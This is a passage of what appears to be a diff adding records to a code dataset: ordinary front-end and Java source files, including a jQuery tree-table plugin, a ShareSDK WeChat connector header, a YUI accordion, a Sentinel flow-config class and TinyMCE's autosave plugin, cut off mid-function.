   if (_isExpanded) {\n                        $(this).removeClass(options.expanderExpandedClass);\n                        $(this).addClass(options.expanderCollapsedClass);\n                        if (_ls && _ls.length > 0) {\n                            $.each(_ls, function(index, item) {\n                                $(item).css(\"display\", \"none\");\n                            });\n                        }\n                    } else {\n                        $(this).removeClass(options.expanderCollapsedClass);\n                        $(this).addClass(options.expanderExpandedClass);\n                        if (_ls && _ls.length > 0) {\n                            $.each(_ls, function(index, item) {\n                                // 父icon\n                                var _p_icon = $(\"#\" + $(item).attr(\"pid\")).children().eq(options.expandColumn).find(\".treetable-expander\");\n                                if (_p_icon.hasClass(options.expanderExpandedClass)) {\n                                    $(item).css(\"display\", \"table\");\n                                }\n                            });\n                        }\n                    }\n                }\n            });\n        }\n        // 刷新数据\n        target.refresh = function(parms) {\n            if(parms){\n                target.lastAjaxParams=parms;\n            }\n            initServer(target.lastAjaxParams);\n        }\n        // 添加数据刷新表格\n        target.appendData = function(data) {\n            // 下边的操作主要是为了查询时让一些没有根节点的节点显示\n            $.each(data, function(i, item) {\n                var _data = target.data_obj[\"id_\" + item[options.code]];\n                var _p_data = target.data_obj[\"id_\" + item[options.parentCode]];\n                var _c_list = target.data_list[\"_n_\" + item[options.parentCode]];\n                var row_id = \"\"; //行id\n                var p_id = \"\"; //父行id\n                var _lv = 1; //如果没有父就是1默认显示\n                var tr; //要添加行的对象\n                if (_data && _data.row_id && _data.row_id != \"\") {\n                    row_id = _data.row_id; // 如果已经存在了，就直接引用原来的\n                }\n                if (_p_data) {\n                    p_id = _p_data.row_id;\n                    if (row_id == \"\") {\n                        var _tmp = 0\n                        if (_c_list && _c_list.length > 0) {\n                            _tmp = _c_list.length;\n                        }\n                        row_id = _p_data.row_id + \"_\" + _tmp;\n                    }\n                    _lv = _p_data.lv + 1; //如果有父\n                    // 绘制行\n                    tr = renderRow(item, false, _lv, row_id, p_id);\n\n                    var _p_icon = $(\"#\" + _p_data.row_id).children().eq(options.expandColumn).find(\".treetable-expander\");\n                    var _isExpanded = _p_icon.hasClass(options.expanderExpandedClass);\n                    var _isCollapsed = _p_icon.hasClass(options.expanderCollapsedClass);\n                    // 父节点有没有展开收缩按钮\n                    if (_isExpanded || _isCollapsed) {\n                        // 父节点展开状态显示新加行\n                        if (_isExpanded) {\n                            tr.css(\"display\", \"table\");\n                        }\n                    } else {\n                        // 父节点没有展开收缩按钮则添加\n                        _p_icon.addClass(options.expanderCollapsedClass);\n                    }\n\n                    if (_data) {\n                        $(\"#\" + _data.row_id).before(tr);\n                        $(\"#\" + _data.row_id).remove();\n                    } else {\n                        // 计算父的同级下一行\n                        var _tmp_ls = _p_data.row_id.split(\"_\");\n                        var _p_next = _p_data.row_id.substring(0, _p_data.row_id.length - 1) + (parseInt(_tmp_ls[_tmp_ls.length - 1]) + 1);\n                        // 画上\n                        $(\"#\" + _p_next).before(tr);\n                    }\n                } else {\n                    tr = renderRow(item, false, _lv, row_id, p_id);\n                    if (_data) {\n                        $(\"#\" + _data.row_id).before(tr);\n                        $(\"#\" + _data.row_id).remove();\n                    } else {\n                        // 画上\n                        var tbody = target.find(\"tbody\");\n                        tbody.append(tr);\n                    }\n                }\n                item.isShow = true;\n                // 缓存并格式化数据\n                formatData([item]);\n            });\n            registerExpanderEvent();\n            registerRowClickEvent();\n            initHiddenColumns();\n        }\n\n        // 展开/折叠指定的行\n        target.toggleRow=function(id) {\n            var _rowData = target.data_obj[\"id_\" + id];\n            var $row_expander = $(\"#\"+_rowData.row_id).find(\".treetable-expander\");\n            $row_expander.trigger(\"click\");\n        }\n        // 展开指定的行\n        target.expandRow=function(id) {\n            var _rowData = target.data_obj[\"id_\" + id];\n            var $row_expander = $(\"#\"+_rowData.row_id).find(\".treetable-expander\");\n            var _isCollapsed = $row_expander.hasClass(target.options.expanderCollapsedClass);\n            if (_isCollapsed) {\n                $row_expander.trigger(\"click\");\n            }\n        }\n        // 折叠 指定的行\n        target.collapseRow=function(id) {\n            var _rowData = target.data_obj[\"id_\" + id];\n            var $row_expander = $(\"#\"+_rowData.row_id).find(\".treetable-expander\");\n            var _isExpanded = $row_expander.hasClass(target.options.expanderExpandedClass);\n            if (_isExpanded) {\n                $row_expander.trigger(\"click\");\n            }\n        }\n        // 展开所有的行\n        target.expandAll=function() {\n            target.find(\"tbody\").find(\"tr\").find(\".treetable-expander\").each(function(i,n){\n                var _isCollapsed = $(n).hasClass(options.expanderCollapsedClass);\n                if (_isCollapsed) {\n                    $(n).trigger(\"click\");\n                }\n            })\n        }\n        // 折叠所有的行\n        target.collapseAll=function() {\n            target.find(\"tbody\").find(\"tr\").find(\".treetable-expander\").each(function(i,n){\n                var _isExpanded = $(n).hasClass(options.expanderExpandedClass);\n                if (_isExpanded) {\n                    $(n).trigger(\"click\");\n                }\n            })\n        }\n        // 显示指定列\n        target.showColumn=function(field,flag) {\n            var _index = $.inArray(field, target.hiddenColumns);\n            if (_index > -1) {\n                target.hiddenColumns.splice(_index, 1);\n            }\n            target.find(\".\"+field+\"_cls\").show();\n            //是否更新列选项状态\n            if(flag&&options.showColumns){\n                var $input = $(\".bootstrap-tree-table .treetable-bars .columns label\").find(\"input[value='\"+field+\"']\")\n                $input.prop(\"checked\", 'checked');\n            }\n        }\n        // 隐藏指定列\n        target.hideColumn=function(field,flag) {\n            target.hiddenColumns.push(field);\n            target.find(\".\"+field+\"_cls\").hide();\n            //是否更新列选项状态\n            if(flag&&options.showColumns){\n                var $input = $(\".bootstrap-tree-table .treetable-bars .columns label\").find(\"input[value='\"+field+\"']\")\n                $input.prop(\"checked\", '');\n            }\n        }\n        // 初始化\n        init();\n        return target;\n    };\n\n    // 组件方法封装........\n    $.fn.bootstrapTreeTable.methods = {\n        // 为了兼容bootstrap-table的写法，统一返回数组，这里返回了表格显示列的数据\n        getSelections: function(target, data) {\n            // 所有被选中的记录input\n            var _ipt = target.find(\"tbody\").find(\"tr\").find(\"input[name='select_item']:checked\");\n            var chk_value = [];\n            // 如果是radio\n            if (_ipt.attr(\"type\") == \"radio\") {\n                var _data = target.data_obj[\"id_\" + _ipt.val()];\n                chk_value.push(_data);\n            } else {\n                _ipt.each(function(_i, _item) {\n                    var _data = target.data_obj[\"id_\" + $(_item).val()];\n                    chk_value.push(_data);\n                });\n            }\n            return chk_value;\n        },\n        // 刷新记录\n        refresh: function(target, parms) {\n            if (parms) {\n                target.refresh(parms);\n            } else {\n                target.refresh();\n            }\n        },\n        // 添加数据到表格\n        appendData: function(target, data) {\n            if (data) {\n                target.appendData(data);\n            }\n        },\n        // 展开/折叠指定的行\n        toggleRow: function(target, id) {\n            target.toggleRow(id);\n        },\n        // 展开指定的行\n        expandRow: function(target, id) {\n            target.expandRow(id);\n        },\n        // 折叠 指定的行\n        collapseRow: function(target, id) {\n            target.collapseRow(id);\n        },\n        // 展开所有的行\n        expandAll: function(target) {\n            target.expandAll();\n        },\n        // 折叠所有的行\n        collapseAll: function(target) {\n            target.collapseAll();\n        },\n        // 显示指定列\n        showColumn: function(target,field) {\n            target.showColumn(field,true);\n        },\n        // 隐藏指定列\n        hideColumn: function(target,field) {\n            target.hideColumn(field,true);\n        }\n        // 组件的其他方法也可以进行类似封装........\n    };\n\n    $.fn.bootstrapTreeTable.defaults = {\n        code: 'code',              // 选取记录返回的值,用于设置父子关系\n        parentCode: 'parentCode',  // 用于设置父子关系\n        rootIdValue: null,         // 设置根节点id值----可指定根节点，默认为null,\"\",0,\"0\"\n        data: null,                // 构造table的数据集合\n        type: \"GET\",               // 请求数据的ajax类型\n        url: null,                 // 请求数据的ajax的url\n        ajaxParams: {},            // 请求数据的ajax的data属性\n        expandColumn: 0,           // 在哪一列上面显示展开按钮\n        expandAll: false,          // 是否全部展开\n        expandFirst: true,         // 是否默认第一级展开--expandAll为false时生效\n        striped: false,            // 是否各行渐变色\n        bordered: true,            // 是否显示边框\n        hover: true,               // 是否鼠标悬停\n        condensed: false,          // 是否紧缩表格\n        columns: [],               // 列\n        toolbar: null,             // 顶部工具条\n        height: 0,                 // 表格高度\n        showTitle: true,           // 是否采用title属性显示字段内容（被formatter格式化的字段不会显示）\n        showColumns: true,         // 是否显示内容列下拉框\n        showRefresh: true,         // 是否显示刷新按钮\n        expanderExpandedClass: 'glyphicon glyphicon-chevron-down', // 展开的按钮的图标\n        expanderCollapsedClass: 'glyphicon glyphicon-chevron-right' // 缩起的按钮的图标\n\n    };\n})(jQuery);"}
+{"text": "//\n//  SSPWeChatConnector.h\n//  ShareSDKConnector\n//\n//  Created by 冯鸿杰 on 16/9/28.\n//  Copyright © 2016年 mob. All rights reserved.\n//\n\n#import \n\n\n/**\n 请求Token 类型\n\n @param authCode 授权返回的authCode\n @param ^getUserinfo 继续获取用户信息\n */\ntypedef void(^SSDKRequestTokenOperation)(NSString *authCode, void(^getUserinfo)(NSString *uid, NSString *token));\n\n/**\n 刷新Token 类型\n\n @param uid 当前请求的用户id\n @param ^getUserinfo 继续获取用户信息\n */\ntypedef void(^SSDKRefreshTokenOperation)(NSString *uid, void(^getUserinfo)(NSString *token));\n\n/**\n *  微信连接器\n */\n@interface WeChatConnector : NSObject\n\n/**\n 在用户不希望暴露微信appSecret情况下，可以设置此block，传入token继续请求用户信息\n \n @param operation 请求authToken业务\n */\n+ (void)setRequestAuthTokenOperation:(SSDKRequestTokenOperation)operation;\n\n/**\n 微信token过期时，在此block中刷新，执行getUserInfo继续执行\n \n @param operation 刷新token业务\n */\n+ (void)setRefreshAuthTokenOperation:(SSDKRefreshTokenOperation)operation;\n\n/**\n 可以获取被sharesdk截取的微信sdk回调\n\n @param operation 设置的回调block\n */\n+ (void)setWXCallbackOperation:(void(^)(id req,id resp))operation;\n\n@end\n"}
+{"text": "YUI.add('gallery-simple-accordion', function(Y) {\n\n/**\n *  Simple accordion using an html list\n *  \n *  @author alejandro soto\n *  \n */\nYUI.add('gallery-simple-accordion', function (Y) {\n\n    function SimpleAccordion(config) {\n        SimpleAccordion.superclass.constructor.apply(this, arguments);\n    }\n\n    SimpleAccordion.NAME = 'simple-accordion';\n\n    SimpleAccordion.ATTRS = {};\n\n    Y.extend(SimpleAccordion, Y.Base, {\n        \n        config: null,\n        \n        _ACCORDION_ITEM: '.accordion-item',\n        _ACCORDION_ITEM_LINK: '.accordion-item-link',\n        _ACCORDION_ITEM_CONTENT: '.accordion-item-content',\n        _HIDE: 'hide',\n        _SHOW: 'show',\n        _SELECTED: 'selected',\n        \n        /**\n         * This constructor method initializes the object and start rendering the carousel\n         * \n         * @param cfg Module external configuration\n         */\n        initializer: function (cfg) {\n            this.config = cfg;\n            this._initializesItemClicked();\n        },\n        \n        /**\n         * Initializes the carousel\n         * \n         */\n        _initializesItemClicked: function() {\n            var cfg = this.config;\n            var me = this;\n            if (me.hasItems()) {\n                cfg.mainNode.delegate('click', function(e) {\n                    e.preventDefault();\n                    me._deselectAllItems();\n                    var li = e.target.get('parentNode');\n                    var itemContent = li.one(me._ACCORDION_ITEM_CONTENT);\n                    li.addClass(me._SELECTED);\n                    if (itemContent) {\n                        itemContent.removeClass(me._HIDE);\n                        itemContent.addClass(me._SHOW);\n                    }\n                    console.info('event clicked');\n                }, me._ACCORDION_ITEM_LINK);\n            }\n        },\n        \n        /**\n         * Deselects all the items in the list\n         * \n         */\n        _deselectAllItems: function() {\n            var cfg = this.config;\n            cfg.mainNode.all(this._ACCORDION_ITEM).removeClass(this._SELECTED);\n            cfg.mainNode.all(this._ACCORDION_ITEM_CONTENT).removeClass(this._SHOW);\n            cfg.mainNode.all(this._ACCORDION_ITEM_CONTENT).addClass(this._HIDE);\n        },\n        \n        /**\n         * Validates if the list has items\n         * \n         */\n        hasItems: function () {\n            var cfg = this.config;\n            return cfg.mainNode && cfg.mainNode.all(this._ACCORDION_ITEM_LINK).size() > 0;\n        },\n        \n        /**\n         * Destructor\n         * \n         */\n        destructor: function () {\n        \n        }\n    });\n\n    Y.SimpleAccordion = SimpleAccordion;\n}, '0.0.1', {\n    requires: ['base', 'node', 'node-event-delegate']\n});\n\n\n}, 'gallery-2012.09.26-20-36' ,{requires:['base','node','node-event-delegate'], skinnable:true});\n"}
+{"text": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.alibaba.csp.sentinel.dashboard.domain.cluster.config;\n\n/**\n * @author Eric Zhao\n * @since 1.4.0\n */\npublic class ServerFlowConfig {\n\n    public static final double DEFAULT_EXCEED_COUNT = 1.0d;\n    public static final double DEFAULT_MAX_OCCUPY_RATIO = 1.0d;\n\n    public static final int DEFAULT_INTERVAL_MS = 1000;\n    public static final int DEFAULT_SAMPLE_COUNT= 10;\n    public static final double DEFAULT_MAX_ALLOWED_QPS= 30000;\n\n    private final String namespace;\n\n    private Double exceedCount = DEFAULT_EXCEED_COUNT;\n    private Double maxOccupyRatio = DEFAULT_MAX_OCCUPY_RATIO;\n    private Integer intervalMs = DEFAULT_INTERVAL_MS;\n    private Integer sampleCount = DEFAULT_SAMPLE_COUNT;\n\n    private Double maxAllowedQps = DEFAULT_MAX_ALLOWED_QPS;\n\n    public ServerFlowConfig() {\n        this(\"default\");\n    }\n\n    public ServerFlowConfig(String namespace) {\n        this.namespace = namespace;\n    }\n\n    public String getNamespace() {\n        return namespace;\n    }\n\n    public Double getExceedCount() {\n        return exceedCount;\n    }\n\n    public ServerFlowConfig setExceedCount(Double exceedCount) {\n        this.exceedCount = exceedCount;\n        return this;\n    }\n\n    public Double getMaxOccupyRatio() {\n        return maxOccupyRatio;\n    }\n\n    public ServerFlowConfig setMaxOccupyRatio(Double maxOccupyRatio) {\n        this.maxOccupyRatio = maxOccupyRatio;\n        return this;\n    }\n\n    public Integer getIntervalMs() {\n        return intervalMs;\n    }\n\n    public ServerFlowConfig setIntervalMs(Integer intervalMs) {\n        this.intervalMs = intervalMs;\n        return this;\n    }\n\n    public Integer getSampleCount() {\n        return sampleCount;\n    }\n\n    public ServerFlowConfig setSampleCount(Integer sampleCount) {\n        this.sampleCount = sampleCount;\n        return this;\n    }\n\n    public Double getMaxAllowedQps() {\n        return maxAllowedQps;\n    }\n\n    public ServerFlowConfig setMaxAllowedQps(Double maxAllowedQps) {\n        this.maxAllowedQps = maxAllowedQps;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return \"ServerFlowConfig{\" +\n            \"namespace='\" + namespace + '\\'' +\n            \", exceedCount=\" + exceedCount +\n            \", maxOccupyRatio=\" + maxOccupyRatio +\n            \", intervalMs=\" + intervalMs +\n            \", sampleCount=\" + sampleCount +\n            \", maxAllowedQps=\" + maxAllowedQps +\n            '}';\n    }\n}\n"}
+{"text": "\n\n  \n    \n  \n
      \n      {$forms.loginForm.open}\n      {include file=\"mobile/login.`$smarty.const.AUTH_MODULE`.tpl\"}\n      {$forms.loginForm.close}\n    
      \n"}
+{"text": "/**\r\n * editor_plugin_src.js\r\n *\r\n * Copyright 2009, Moxiecode Systems AB\r\n * Released under LGPL License.\r\n *\r\n * License: http://tinymce.moxiecode.com/license\r\n * Contributing: http://tinymce.moxiecode.com/contributing\r\n *\r\n * Adds auto-save capability to the TinyMCE text editor to rescue content\r\n * inadvertently lost. This plugin was originally developed by Speednet\r\n * and that project can be found here: http://code.google.com/p/tinyautosave/\r\n *\r\n * TECHNOLOGY DISCUSSION:\r\n * \r\n * The plugin attempts to use the most advanced features available in the current browser to save\r\n * as much content as possible.  There are a total of four different methods used to autosave the\r\n * content.  In order of preference, they are:\r\n * \r\n * 1. localStorage - A new feature of HTML 5, localStorage can store megabytes of data per domain\r\n * on the client computer. Data stored in the localStorage area has no expiration date, so we must\r\n * manage expiring the data ourselves.  localStorage is fully supported by IE8, and it is supposed\r\n * to be working in Firefox 3 and Safari 3.2, but in reality is is flaky in those browsers.  As\r\n * HTML 5 gets wider support, the AutoSave plugin will use it automatically. In Windows Vista/7,\r\n * localStorage is stored in the following folder:\r\n * C:\\Users\\[username]\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\[tempFolder]\r\n * \r\n * 2. sessionStorage - A new feature of HTML 5, sessionStorage works similarly to localStorage,\r\n * except it is designed to expire after a certain amount of time.  Because the specification\r\n * around expiration date/time is very loosely-described, it is preferrable to use locaStorage and\r\n * manage the expiration ourselves.  sessionStorage has similar storage characteristics to\r\n * localStorage, although it seems to have better support by Firefox 3 at the moment.  (That will\r\n * certainly change as Firefox continues getting better at HTML 5 adoption.)\r\n * \r\n * 3. UserData - A very under-exploited feature of Microsoft Internet Explorer, UserData is a\r\n * way to store up to 128K of data per \"document\", or up to 1MB of data per domain, on the client\r\n * computer.  The feature is available for IE 5+, which makes it available for every version of IE\r\n * supported by TinyMCE.  The content is persistent across browser restarts and expires on the\r\n * date/time specified, just like a cookie.  However, the data is not cleared when the user clears\r\n * cookies on the browser, which makes it well-suited for rescuing autosaved content.  UserData,\r\n * like other Microsoft IE browser technologies, is implemented as a behavior attached to a\r\n * specific DOM object, so in this case we attach the behavior to the same DOM element that the\r\n * TinyMCE editor instance is attached to.\r\n */\r\n\r\n(function(tinymce) {\r\n\t// Setup constants to help the compressor to reduce script size\r\n\tvar PLUGIN_NAME = 'autosave',\r\n\t\tRESTORE_DRAFT = 'restoredraft',\r\n\t\tTRUE = true,\r\n\t\tundefined,\r\n\t\tunloadHandlerAdded,\r\n\t\tDispatcher = tinymce.util.Dispatcher;\r\n\r\n\t/**\r\n\t * This plugin adds auto-save capability to the TinyMCE text editor to rescue content\r\n\t * inadvertently lost. By using localStorage.\r\n\t *\r\n\t * @class tinymce.plugins.AutoSave\r\n\t */\r\n\ttinymce.create('tinymce.plugins.AutoSave', {\r\n\t\t/**\r\n\t\t * Initializes the plugin, this will be executed after the plugin has been created.\r\n\t\t * This call is done before the editor instance has finished it's initialization so use the onInit event\r\n\t\t * of the editor instance to intercept that event.\r\n\t\t *\r\n\t\t * @method init\r\n\t\t * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.\r\n\t\t * @param {string} url Absolute URL to where the plugin is located.\r\n\t\t */\r\n\t\tinit : function(ed, url) {\r\n\t\t\tvar self = this, settings = ed.settings;\r\n\r\n\t\t\tself.editor = ed;\r\n\r\n\t\t\t// Parses the specified time string into a milisecond number 10m, 10s etc.\r\n\t\t\tfunction parseTime(time) {\r\n\t\t\t\tvar multipels = {\r\n\t\t\t\t\ts : 1000,\r\n\t\t\t\t\tm : 60000\r\n\t\t\t\t};\r\n\r\n\t\t\t\ttime = /^(\\d+)([ms]?)$/.exec('' + time);\r\n\r\n\t\t\t\treturn (time[2] ? multipels[time[2]] : 1) * parseInt(time);\r\n\t\t\t};\r\n\r\n\t\t\t// Default config\r\n\t\t\ttinymce.each({\r\n\t\t\t\task_before_unload : TRUE,\r\n\t\t\t\tinterval : '30s',\r\n\t\t\t\tretention : '20m',\r\n\t\t\t\tminlength : 50\r\n\t\t\t}, function(value, key) {\r\n\t\t\t\tkey = PLUGIN_NAME + '_' + key;\r\n\r\n\t\t\t\tif (settings[key] === undefined)\r\n\t\t\t\t\tsettings[key] = value;\r\n\t\t\t});\r\n\r\n\t\t\t// Parse times\r\n\t\t\tsettings.autosave_interval = parseTime(settings.autosave_interval);\r\n\t\t\tsettings.autosave_retention = parseTime(settings.autosave_retention);\r\n\r\n\t\t\t// Register restore button\r\n\t\t\ted.addButton(RESTORE_DRAFT, {\r\n\t\t\t\ttitle : PLUGIN_NAME + \".restore_content\",\r\n\t\t\t\tonclick : function() {\r\n\t\t\t\t\tif (ed.getContent({draft: true}).replace(/\\s| |<\\/?p[^>]*>|]*>/gi, \"\").length > 0) {\r\n\t\t\t\t\t\t// Show confirm dialog if the editor isn't empty\r\n\t\t\t\t\t\ted.windowManager.confirm(\r\n\t\t\t\t\t\t\tPLUGIN_NAME + \".warning_message\",\r\n\t\t\t\t\t\t\tfunction(ok) {\r\n\t\t\t\t\t\t\t\tif (ok)\r\n\t\t\t\t\t\t\t\t\tself.restoreDraft();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t);\r\n\t\t\t\t\t} else\r\n\t\t\t\t\t\tself.restoreDraft();\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n\t\t\t// Enable/disable restoredraft button depending on if there is a draft stored or not\r\n\t\t\ted.onNodeChange.add(function() {\r\n\t\t\t\tvar controlManager = ed.controlManager;\r\n\r\n\t\t\t\tif (controlManager.get(RESTORE_DRAFT))\r\n\t\t\t\t\tcontrolManager.setDisabled(RESTORE_DRAFT, !self.hasDraft());\r\n\t\t\t});\r\n\r\n\t\t\ted.onInit.add(function() {\r\n\t\t\t\t// Check if the user added the restore button, then setup auto storage logic\r\n\t\t\t\tif (ed.controlManager.get(RESTORE_DRAFT)) {\r\n\t\t\t\t\t// Setup storage engine\r\n\t\t\t\t\tself.setupStorage(ed);\r\n\r\n\t\t\t\t\t// Auto save contents each interval time\r\n\t\t\t\t\tsetInterval(function() {\r\n\t\t\t\t\t\tself.storeDraft();\r\n\t\t\t\t\t\ted.nodeChanged();\r\n\t\t\t\t\t}, settings.autosave_interval);\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n\t\t\t/**\r\n\t\t\t * This event gets fired when a draft is stored to local storage.\r\n\t\t\t *\r\n\t\t\t * @event onStoreDraft\r\n\t\t\t * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event.\r\n\t\t\t * @param {Object} draft Draft object containing the HTML contents of the editor.\r\n\t\t\t */\r\n\t\t\tself.onStoreDraft = new Dispatcher(self);\r\n\r\n\t\t\t/**\r\n\t\t\t * This event gets fired when a draft is restored from local storage.\r\n\t\t\t *\r\n\t\t\t * @event onStoreDraft\r\n\t\t\t * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event.\r\n\t\t\t * @param {Object} draft Draft object containing the HTML contents of the editor.\r\n\t\t\t */\r\n\t\t\tself.onRestoreDraft = new Dispatcher(self);\r\n\r\n\t\t\t/**\r\n\t\t\t * This event gets fired when a draft removed/expired.\r\n\t\t\t *\r\n\t\t\t * @event onRemoveDraft\r\n\t\t\t * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event.\r\n\t\t\t * @param {Object} draft Draft object containing the HTML contents of the editor.\r\n\t\t\t */\r\n\t\t\tself.onRemoveDraft = new Dispatcher(self);\r\n\r\n\t\t\t// Add ask before unload dialog only add one unload handler\r\n\t\t\tif (!unloadHandlerAdded) {\r\n\t\t\t\twindow.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler;\r\n\t\t\t\tunloadHandlerAdded = TRUE;\r\n\t\t\t}\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Returns information about the plugin as a name/value array.\r\n\t\t * The current keys are longname, author, authorurl, infourl and version.\r\n\t\t *\r\n\t\t * @method getInfo\r\n\t\t * @return {Object} Name/value array containing information about the plugin.\r\n\t\t */\r\n\t\tgetInfo : function() {\r\n\t\t\treturn {\r\n\t\t\t\tlongname : 'Auto save',\r\n\t\t\t\tauthor : 'Moxiecode Systems AB',\r\n\t\t\t\tauthorurl : 'http://tinymce.moxiecode.com',\r\n\t\t\t\tinfourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave',\r\n\t\t\t\tversion : tinymce.majorVersion + \".\" + tinymce.minorVersion\r\n\t\t\t};\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * Returns an expiration date UTC string.\r\n\t\t *\r\n\t\t * @method getExpDate\r\n\t\t * @return {String} Expiration date UTC string.\r\n\t\t */\r\n\t\tgetExpDate : function() {\r\n\t\t\treturn new Date(\r\n\t\t\t\tnew Date().getTime() + this.editor.settings.autosave_retention\r\n\t\t\t).toUTCString();\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * This method will setup the storage engine. If the browser has support for it.\r\n\t\t *\r\n\t\t * @method setupStorage\r\n\t\t */\r\n\t\tsetupStorage : function(ed) {\r\n\t\t\tvar self = this, testKey = PLUGIN_NAME + '_test', testVal = \"OK\";\r\n\r\n\t\t\tself.key = PLUGIN_NAME + ed.id;\r\n\r\n\t\t\t// Loop though each storage engine type until we find one that works\r\n\t\t\ttinymce.each([\r\n\t\t\t\tfunction() {\r\n\t\t\t\t\t// Try HTML5 Local Storage\r\n\t\t\t\t\tif (localStorage) {\r\n\t\t\t\t\t\tlocalStorage.setItem(testKey, testVal);\r\n\r\n\t\t\t\t\t\tif (localStorage.getItem(testKey) === testVal) {\r\n\t\t\t\t\t\t\tlocalStorage.removeItem(testKey);\r\n\r\n\t\t\t\t\t\t\treturn localStorage;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t},\r\n\r\n\t\t\t\tfunction() {\r\n\t\t\t\t\t// Try HTML5 Session Storage\r\n\t\t\t\t\tif (sessionStorage) {\r\n\t\t\t\t\t\tsessionStorage.setItem(testKey, testVal);\r\n\r\n\t\t\t\t\t\tif (sessionStorage.getItem(testKey) === testVal) {\r\n\t\t\t\t\t\t\tsessionStorage.removeItem(testKey);\r\n\r\n\t\t\t\t\t\t\treturn sessionStorage;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t},\r\n\r\n\t\t\t\tfunction() {\r\n\t\t\t\t\t// Try IE userData\r\n\t\t\t\t\tif (tinymce.isIE) {\r\n\t\t\t\t\t\ted.getElement().style.behavior = \"url('#default#userData')\";\r\n\r\n\t\t\t\t\t\t// Fake localStorage on old IE\r\n\t\t\t\t\t\treturn {\r\n\t\t\t\t\t\t\tautoExpires : TRUE,\r\n\r\n\t\t\t\t\t\t\tsetItem : function(key, value) {\r\n\t\t\t\t\t\t\t\tvar userDataElement = ed.getElement();\r\n\r\n\t\t\t\t\t\t\t\tuserDataElement.setAttribute(key, value);\r\n\t\t\t\t\t\t\t\tuserDataElement.expires = self.getExpDate();\r\n\r\n\t\t\t\t\t\t\t\ttry {\r\n\t\t\t\t\t\t\t\t\tuserDataElement.save(\"TinyMCE\");\r\n\t\t\t\t\t\t\t\t} catch (e) {\r\n\t\t\t\t\t\t\t\t\t// Ignore, saving might fail if \"Userdata Persistence\" is disabled in IE\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t},\r\n\r\n\t\t\t\t\t\t\tgetItem : function(key) {\r\n\t\t\t\t\t\t\t\tvar userDataElement = ed.getElement();\r\n\r\n\t\t\t\t\t\t\t\ttry {\r\n\t\t\t\t\t\t\t\t\tuserDataElement.load(\"TinyMCE\");\r\n\t\t\t\t\t\t\t\t\treturn userDataElement.getAttribute(key);\r\n\t\t\t\t\t\t\t\t} catch (e) {\r\n\t\t\t\t\t\t\t\t\t// Ignore, loading might fail if \"Userdata Persistence\" is disabled in IE\r\n\t\t\t\t\t\t\t\t\treturn null;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t},\r\n\r\n\t\t\t\t\t\t\tremoveItem : function(key) {\r\n\t\t\t\t\t\t\t\ted.getElement().removeAttribute(key);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t};\r\n\t\t\t\t\t}\r\n\t\t\t\t},\r\n\t\t\t], function(setup) {\r\n\t\t\t\t// Try executing each function to find a suitable storage engine\r\n\t\t\t\ttry {\r\n\t\t\t\t\tself.storage = setup();\r\n\r\n\t\t\t\t\tif (self.storage)\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t} catch (e) {\r\n\t\t\t\t\t// Ignore\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * This method will store the current contents in the the storage engine.\r\n\t\t *\r\n\t\t * @method storeDraft\r\n\t\t */\r\n\t\tstoreDraft : function() {\r\n\t\t\tvar self = this, storage = self.storage, editor = self.editor, expires, content;\r\n\r\n\t\t\t// Is the contents dirty\r\n\t\t\tif (storage) {\r\n\t\t\t\t// If there is no existing key and the contents hasn't been changed since\r\n\t\t\t\t// it's original value then there is no point in saving a draft\r\n\t\t\t\tif (!storage.getItem(self.key) && !editor.isDirty())\r\n\t\t\t\t\treturn;\r\n\r\n\t\t\t\t// Store contents if the contents if longer than the minlength of characters\r\n\t\t\t\tcontent = editor.getContent({draft: true});\r\n\t\t\t\tif (content.length > editor.settings.autosave_minlength) {\r\n\t\t\t\t\texpires = self.getExpDate();\r\n\r\n\t\t\t\t\t// Store expiration date if needed IE userData has auto expire built in\r\n\t\t\t\t\tif (!self.storage.autoExpires)\r\n\t\t\t\t\t\tself.storage.setItem(self.key + \"_expires\", expires);\r\n\r\n\t\t\t\t\tself.storage.setItem(self.key, content);\r\n\t\t\t\t\tself.onStoreDraft.dispatch(self, {\r\n\t\t\t\t\t\texpires : expires,\r\n\t\t\t\t\t\tcontent : content\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t},\r\n\r\n\t\t/**\r\n\t\t * This method will restore the contents from the storage engine back to the editor.\r\n\t\t *\r\n\t\t * @method restoreDraft\r\n\t\t */\r\n\t\trestoreDraft : function() {\r\n\t\t\tvar self = this, storage = self.storage, content;\r\n\r\n\t\t\tif (storage) {\r\n\t\t\t\tcontent = storage.getItem(self.key);\r\n\r\n\t\t\t\tif (content) {\r\n\t\t\t\t\tself.editor.setContent(content);\r\n\t\t\t\t\tself.onRestoreDraft.dispatch(self, {\r\n\t\t\t\t\t\tcontent : 